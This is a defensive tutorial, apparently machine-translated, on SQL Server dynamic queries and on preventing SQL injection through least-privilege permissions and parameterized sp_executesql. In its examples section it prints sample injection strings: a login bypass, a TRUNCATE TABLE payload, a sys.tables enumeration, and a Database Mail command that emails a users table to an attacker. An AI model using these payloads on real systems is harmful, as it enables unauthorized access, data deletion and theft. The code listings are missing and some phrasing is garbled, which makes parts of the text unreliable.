SQL Server - How to Avoid SQL Injection? Stop using Dynamic Query as EXEC (@Query). Now.

A widely used feature in system and database routines, Dynamic Query consists of assembling a string with T-SQL commands to execute. This string is assembled based on string concatenation and possible IF validations according to certain scenarios.

After the final string has been constructed, it is processed by the EXECUTE command (or EXEC, for the most intimate .. rs) and whatever is in that string will be executed in the database.

It is very important to note that dynamic query is not specific only to queries mounted from SQL Server. A system can do the same thing by creating a string variable in C # source code, for example, assembling the string and then sending that string to the database. This is also a dynamic query, but mounted within the application and for the database, it will just be an ad-hoc query that the application is submitting.

Basic example:

Result:

As you can see, the possibilities are endless using Dynamic Query. From joining and defining columns returned by a SELECT to controlling filters in WHERE. A really cool example from a performance standpoint would be this one (which happens a lot):

Original query:

This bunch of @variabel IS NULL OR [column] = @variable in the query's WHERE filter can often cause a query performance problem because SQL will have to do several validations on the filter to return the data. A possible solution to this would be to use precisely the dynamic query:

Execution Result:

If we are going to analyze the dynamically generated final query and the original OR-filled query, we see that the dynamic query that is executed is much simpler than the original query. And this is reflected in the execution plan and the execution cost as well:

That is, the dynamic query has its justifiable applicability YES, and is very useful in N scenarios, but we need to be very careful about its use so as not to expose our environments to SQL Injection attacks.

After this brief dynamic query summary, I will now present a brief summary of SQL Injection for you. This cracker technique involves exploiting dynamic database queries to execute malicious database commands, which can range from showing sensitive, sensitive and sensitive data to deleting data and files on the database server.

If you are thinking that this technique should be very complex and elaborate, you are very wrong. It is quite simple to use and an attacker can use it in text fields of an application, such as a Login screen for example, which sends a dynamic query to the bank to verify that the username and password entered are correct. correct.

Example 1 - Logging into the system without authorization

Imagine a scenario with the following table in your bank, used for user registration and authentication in a very simple way:

And now imagine that your C # application has the following code to validate the email and password:

What will arrive at the bank is the consultation that the application set up. If a malicious user tries to perform a SQL Injection attack, using a simple approach, such as placing the string “'OR' x '=' x'–” in the user's field and clicking on the application's “Login” button, this is the query that will arrive in the database:

Result: Attacker successfully logged in

And believe me. exist Lots of strings like this to perform SQL Injection attacks.

Example 2 - Erasing and viewing data

In the same example above, on a simple login screen, note that a simple string like “'; TRUNCATE TABLE dbo.Usuarios; - ”can cause major disruption in the life of a DBA by simply DELETING all data from the System Users table.

Of course, the attacker still needs to discover the name of the system tables and, in the scenario above, this task ends up being complicated because the query does not return much data, just a validation. But if this is on a query screen, for example, where the returned data is shown in a table on the screen, then we have an ideal scenario for carrying out an attack using a string like “'; SELECT name, name, name, name FROM sys.tables; - ”in a search field, for example, that we know is showing 4 columns on the screen.

Query that ends up being sent to the database:

Result:

And then the attacker now has the name of the tables that exist in the database .. Which made the “joke” much more interesting now, since he can delete data from any of these tables or view this data through the system itself. What if he could send the table data by email? Hummm ..

Using the string “'; EXEC msdb.dbo.sp_send_dbmail @recipients = '[email protected]', @subject =' Test ', @query =' SELECT * FROM Users' - “, the attacker can use the DatabaseMail installed on the database server to send the results of a query to himself and view the database data :

That is, the idea here is to show how dangerous SQL Injection attacks are. That's because I won't even demonstrate how to use xp_cmdshell to run operating system level commands on the server. You can even download ransomware remotely and run on the server. All this through a simple search field in the system.

I hope you were quite shocked by the devastating impact an SQL Injection can have on your environment. Depending on the level of permissions, an attacker could even install Ransomware, spread it across your network, and wreak havoc on your business through a simple text field on a system.

Tip 1 - Restriction of permissions at the database level

The first step in containing this type of attack is to first limit the range of the attack and then try to prevent it from happening.

Yes, that's right. It seems strange, but just being able to limit how far such an attack can go is often a much faster process to implement in the environment and so I prefer to start with this step.

Of course this generalization of mine is based on traditional scenarios and should be evaluated yes, because your scenario may be different. Usually in large enterprise scenarios, there are several different systems accessing the same instance, with dozens of Stored Procedures with dynamic query, apart from the various ad-hoc queries that are dynamic application-mounted query queries sent to the database.

Evaluating and addressing all of these entryways is often time consuming to do. Precisely for this reason, I recommend starting by restricting the permissions of application users. It is very unusual for a system user to need permissions that go beyond read / write to the database (s) the system accesses. Instance level permissions are very rare to really need for system users.

And don't tell me you always release permission from db_owner no huh! Let's stop it TODAY. A db_owner permission implicitly loads other unnecessary permissions as IMPERSONATE, which is so dangerous for audits, and also allowed to view and list databases, even if it do not have VIEW ANY DATABASE permission.

In the vast majority of cases, an application may need, at most, general EXECUTE permission on the database and be in the database roles db_datareader, db_datawriter and perhaps, db_ddladmin. If you are one of those DBA's that release db_owner permission for the application user because it is more practical, I suggest reading the article SQL Server - Understanding the Risks of TRUSTWORTHY Property Enabled in a Database, which shows what a db_owner user can do in an environment where the database has the TRUSTWORTHY parameter enabled. Even if not, he will be allowed to use IMPERSONATE, which is already quite dangerous.

Tip 2 - Restriction of permissions at the instance level

Unfortunately, what do we see on a daily basis? Application connecting to bank with SA user or application user with sysadmin permission. That is, imagine the scenario where you have a very simple web system to meet a specific need of the business sector of the company. This system is just a supplier registration, which is not even as critical for the company. And this system connects to the bank with user sa. An attacker finds a breach using this sysadmin user and applies an SQL Injection on the instance that contains all enterprise systems.

Company-wide data captured and then successfully encrypted! And all this from a system that was not even the core of the company. That is, the first step to prevent this type of attack is to limit the permissions of applications and in which databases this application can read / write data. If a system does not access / alter any tables from another bank, why does it have this permission?

Also, simply because the application does not have sysadmin permissions, the attacker will not be able to enable features that are disabled, such as xp_cmdshell, and will not be able to execute critical commands like xp_cmdshell, send emails using Database Mail, etc. .

For all of the reasons mentioned above, it is essential to limit the permission of instance-level application users. The idea is that you don't even have this permission. Using SA users or users with sysadmin permission is unthinkable and unjustifiable.

Tip 3 - Restriction of permissions at the operating system (OS) level

To close this part of permissions, we also need to limit SQL Server user permissions on the operating system. We see in many companies the SQL Server service user with Local Server Administrator permissions or even Domain Admin (Maximum permission within Active Directory. You can do EVERYTHING on ANY server).

This type of permission greatly enhances the effect of these SQL Injection attacks. So the most correct is to limit yourself to the SQL Server services user, who is the one who executes the OS commands when you run an xp_cmdshell, for example, for a user with lowest permission required.

Tip 4 - Identify the dynamic queries of the environment

As I mentioned above, the permissions part is usually faster to implement and so I choose to do it first of all. Now let's change our focus to avoid attacks, but we need to identify what are the possible entry points for SQL Injection attacks, ie where we are using Dynamic Query in our environment.

At the application and system level, this work should be done by the Systems / Development team, scanning all source code for locations that use dynamic query and applying the handling of it in the application, because when the query is mounted in the application, the database has no way to differentiate what is dynamic query or not to try to handle it in the database.

At the database level, when there are Stored Procedures that use this dynamic query technique, we can use a T-SQL query to identify all of these SP's and evaluate which ones can be used for SQL Injection attacks. Generally, I only evaluate Procedures that have string type parameters (varchar, nvarchar, char, nchar) and larger than 10. Numerical parameters and short strings are very difficult to use for SQL Injection.

To identify these Stored Procedures, you can use the query below:

Result:

Now just identify, validate and analyze the queries that appear in that query and verify that they are susceptible to SQL Injection attacks and, whenever possible, exchange the EXECUTE command for sp_executesql. In the next topic I will show the reason.

Tip 5 - Treat dynamic queries

And now the part has come where we should handle our consultations, finally.

At the application and system level, this work should be done by the Systems / Development team, scanning all source code for dynamic query locations and applying the handling of this in the application, as I had commented in the previous topic. There are several ways to avoid this in the application, such as parameter queries, which will block any type of SQL Injection that an attacker might try to attack.

At the database level, you should use the query I shared in the previous topic to identify queries that use dynamic query. The first step is to analyze if this query really needs to be dynamic. Believe me, I've seen many cases where dynamic query was used without any need, as I will demonstrate below:

Note that in the example above, using dynamic Query is highly avoidable:

Much safer now and we got rid of SQL Injection in this example. 🙂

Does the query really need to be dynamic? So the second step is to swap EXECUTE commands whenever possible for sp_executesql, since the second option allows parameterization of queries. I'll even use the example I already showed here.

Dynamic Query with EXECUTE:

Result:

Now let's make some changes to the query to use the parameterized query with sp_executesql:

Result:

And so, we have the best of all worlds: Flexible and customizable Query, fast and secure.

• Run Dynamic SQL commands in SQL Server
• Protecting Yourself from SQL Injection in SQL Server - Part 1
• Protecting Yourself from SQL Injection in SQL Server - Part 2
• Using Parameters for SQL Server Queries and Stored Procedures
• Using Triggers to Mitigate Some SQL Injection Effects
• SQL Injection - the golden rule
• SQL Injection: Defense in Depth
• Everything you wanted to know about SQL injection (but were afraid to ask)
• Stored procedures and ORMs won't save you from SQL injection
• Dynamic SQL & SQL injection